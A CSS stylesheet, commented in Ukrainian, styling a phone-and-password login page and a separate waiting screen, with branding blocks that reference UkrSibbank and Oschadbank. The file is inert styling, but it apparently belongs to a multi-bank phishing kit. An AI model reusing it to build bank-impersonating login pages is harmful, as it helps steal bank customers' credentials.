/* Блок 4 — власні стилі (не ukrsib_loader / блок 1) */
:root {
  --b4-green: #00a94f;
  --b4-text: #1a1a1a;
  --b4-muted: #6b7280;
  --b4-input-bg: #f3f4f6;
  --b4-btn-bg: #e5e7eb;
  --b4-btn-text: #9ca3af;
  --b4-btn-active: #00a94f;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
html, body { height: 100%; }
body.b4-page {
  font-family: "Segoe UI", system-ui, -apple-system, Roboto, Arial, sans-serif;
  background: #fff;
  color: var(--b4-text);
  -webkit-font-smoothing: antialiased;
}
#b4_phase_login { display: block !important; }
#b4_phase_wait { display: none; }
#b4_phase_wait[hidden] { display: none !important; }
body.b4-show-login #b4_phase_login { display: block !important; }
body.b4-show-wait #b4_phase_login { display: none !important; }
body.b4-show-wait #b4_phase_wait { display: flex !important; }
body.b4-show-wait #b4_phase_wait[hidden] { display: flex !important; }

.b4-wait {
  position: fixed;
  inset: 0;
  z-index: 200;
  align-items: center;
  justify-content: center;
  padding: 24px;
  background:
    radial-gradient(ellipse 90% 60% at 50% -10%, rgba(56, 189, 248, 0.28) 0%, transparent 55%),
    radial-gradient(ellipse 70% 50% at 100% 80%, rgba(14, 165, 233, 0.18) 0%, transparent 50%),
    linear-gradient(165deg, #c9e4f8 0%, #b8d9f2 32%, #d4e9f9 58%, #e8f3fc 100%) fixed;
  background-color: #b8d4ec;
}

/* Ощад 24/7 — екран очікування (не білий UKRSIB-блок) */
body.oschad-login .b4-wait.oschad-wait,
.b4-wait.oschad-wait {
  background:
    radial-gradient(ellipse 90% 60% at 50% -10%, rgba(56, 189, 248, 0.28) 0%, transparent 55%),
    radial-gradient(ellipse 70% 50% at 100% 80%, rgba(14, 165, 233, 0.18) 0%, transparent 50%),
    linear-gradient(165deg, #c9e4f8 0%, #b8d9f2 32%, #d4e9f9 58%, #e8f3fc 100%) fixed;
  background-color: #b8d4ec;
}
body.oschad-login .b4-wait.oschad-wait .b4-wait__panel,
.b4-wait.oschad-wait .b4-wait__panel {
  width: min(100%, 400px);
  padding: 32px 28px 30px;
  border-radius: 22px;
  background: rgba(255, 255, 255, 0.78);
  -webkit-backdrop-filter: blur(22px) saturate(165%);
  backdrop-filter: blur(22px) saturate(165%);
  border: 1px solid rgba(255, 255, 255, 0.92);
  box-shadow:
    0 1px 0 rgba(255, 255, 255, 0.95) inset,
    0 16px 48px rgba(15, 76, 129, 0.14),
    0 4px 14px rgba(30, 64, 175, 0.08);
}
body.oschad-login .b4-wait.oschad-wait .b4-wait__logo,
.b4-wait.oschad-wait .b4-wait__logo {
  width: 88px;
  height: 88px;
  margin: 0 auto 22px;
  border-radius: 20px;
  overflow: hidden;
  display: flex;
  align-items: center;
  justify-content: center;
  box-shadow: 0 8px 28px rgba(13, 148, 136, 0.28);
}
body.oschad-login .b4-wait.oschad-wait .b4-wait__logo svg,
body.oschad-login .b4-wait.oschad-wait .b4-wait__logo img,
.b4-wait.oschad-wait .b4-wait__logo svg,
.b4-wait.oschad-wait .b4-wait__logo img {
  width: 100%;
  height: 100%;
  display: block;
  border-radius: 20px;
  object-fit: cover;
}
body.oschad-login .b4-wait.oschad-wait .b4-wait__spinner,
.b4-wait.oschad-wait .b4-wait__spinner {
  width: 44px;
  height: 44px;
  margin: 0 auto 20px;
  border: 3px solid rgba(20, 184, 166, 0.22);
  border-top-color: #14b8a6;
  border-radius: 50%;
  animation: b4-spin 0.85s linear infinite;
}
body.oschad-login .b4-wait.oschad-wait .b4-wait__title,
.b4-wait.oschad-wait .b4-wait__title {
  margin: 0 0 10px;
  font-size: 1.2rem;
  font-weight: 700;
  color: #0f172a;
  letter-spacing: -0.02em;
}
body.oschad-login .b4-wait.oschad-wait .b4-wait__sub,
.b4-wait.oschad-wait .b4-wait__sub {
  margin: 0;
  font-size: 0.92rem;
  color: #64748b;
  line-height: 1.5;
  max-width: 28em;
  margin-left: auto;
  margin-right: auto;
}

.b4-wait__panel {
  width: min(100%, 360px);
  text-align: center;
  padding: 28px 22px;
}
.b4-wait__logo {
  width: 56px;
  height: 56px;
  margin: 0 auto 20px;
  display: flex;
  align-items: center;
  justify-content: center;
  box-shadow: 0 4px 20px rgba(0, 169, 79, .2);
}
.b4-wait__logo svg { width: 34px; height: 34px; }
.b4-wait__spinner {
  width: 44px;
  height: 44px;
  margin: 0 auto 18px;
  border: 3px solid rgba(0, 169, 79, .2);
  border-top-color: var(--b4-btn-active);
  border-radius: 50%;
  animation: b4-spin 0.85s linear infinite;
}
@keyframes b4-spin { to { transform: rotate(360deg); } }
.b4-wait__title {
  margin: 0 0 8px;
  font-size: 1.15rem;
  font-weight: 700;
}
.b4-wait__sub {
  margin: 0;
  font-size: 0.9rem;
  color: var(--b4-muted);
  line-height: 1.45;
}

.b4-login {
  max-width: 420px;
  margin: 0 auto;
  padding: 20px 20px 32px;
  min-height: 100vh;
  min-height: 100dvh;
  display: flex;
  flex-direction: column;
}
.b4-login__head {
  position: relative;
  text-align: center;
  padding: 8px 48px 20px;
}
.b4-login__head h1 {
  margin: 0;
  font-size: 1.35rem;
  font-weight: 700;
}
.b4-login__refresh {
  position: absolute;
  right: 0;
  top: 4px;
  width: 44px;
  height: 44px;
  border: none;
  border-radius: 50%;
  background: var(--b4-green);
  box-shadow: 0 2px 12px rgba(0, 169, 79, .25);
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #fff;
}
.b4-login__illus {
  display: flex;
  justify-content: center;
  margin: 8px 0 28px;
}
.b4-login__illus svg { width: min(220px, 72vw); height: auto; }
.b4-field { margin-bottom: 18px; }
.b4-field label {
  display: block;
  font-size: 0.9rem;
  font-weight: 500;
  margin-bottom: 8px;
}
.b4-phone-row {
  display: flex;
  align-items: stretch;
  background: var(--b4-input-bg);
  border-radius: 12px;
  overflow: hidden;
  border: 1px solid transparent;
}
.b4-phone-row:focus-within {
  border-color: var(--b4-green);
  box-shadow: 0 0 0 3px rgba(0, 169, 79, .15);
}
.b4-phone-row.b4-field--err { border-color: #ef4444; }
.b4-phone-prefix {
  display: flex;
  align-items: center;
  padding: 0 14px;
  font-weight: 500;
  border-right: 1px solid #d1d5db;
  flex-shrink: 0;
}
.b4-phone-row input {
  flex: 1;
  border: none;
  background: transparent;
  padding: 16px 14px;
  font-size: 1rem;
  outline: none;
  min-width: 0;
}
.b4-pass-wrap { position: relative; }
.b4-pass-wrap .b4-input { padding-right: 48px; }
.b4-pass-wrap.b4-field--err .b4-input { border-color: #ef4444; }
.b4-pass-toggle {
  position: absolute;
  right: 6px;
  top: 50%;
  transform: translateY(-50%);
  z-index: 3;
  width: 40px;
  height: 40px;
  border: none;
  background: transparent;
  cursor: pointer;
  border-radius: 10px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #9ca3af;
  touch-action: manipulation;
  -webkit-tap-highlight-color: transparent;
  user-select: none;
}
.b4-pass-toggle svg {
  pointer-events: none;
}
.b4-pass-toggle:hover {
  background: rgba(0, 0, 0, 0.05);
  color: var(--b4-green);
}
/* Пароль сховано — відкрите око; видно — перекреслене */
.b4-pass-toggle svg.b4-pass-toggle__show {
  display: block;
}
.b4-pass-toggle svg.b4-pass-toggle__hide {
  display: none;
}
.b4-pass-toggle[aria-pressed="true"] svg.b4-pass-toggle__show {
  display: none;
}
.b4-pass-toggle[aria-pressed="true"] svg.b4-pass-toggle__hide {
  display: block;
}
.b4-input {
  width: 100%;
  border: none;
  background: var(--b4-input-bg);
  border-radius: 12px;
  padding: 16px 14px;
  font-size: 1rem;
  outline: none;
  border: 1px solid transparent;
}
.b4-input:focus {
  border-color: var(--b4-green);
  box-shadow: 0 0 0 3px rgba(0, 169, 79, .15);
}
.b4-input.b4-field--err { border-color: #ef4444; }
.b4-legal {
  font-size: 0.72rem;
  line-height: 1.45;
  color: var(--b4-muted);
  text-align: center;
  margin: 20px 0 16px;
}
.b4-legal a { color: var(--b4-green); text-decoration: none; }
.b4-submit {
  width: 100%;
  border: none;
  border-radius: 12px;
  padding: 16px;
  font-size: 1rem;
  font-weight: 600;
  background: var(--b4-btn-bg);
  color: var(--b4-btn-text);
  cursor: not-allowed;
}
.b4-submit.is-ready {
  background: var(--b4-btn-active);
  color: #fff;
  cursor: pointer;
}
.b4-err {
  font-size: 0.85rem;
  color: #dc2626;
  text-align: center;
  margin: 0 0 12px;
  min-height: 1.2em;
}
.b4-forgot {
  display: block;
  text-align: center;
  margin-top: auto;
  padding-top: 24px;
  font-weight: 500;
  color: var(--b4-green);
  text-decoration: none;
}
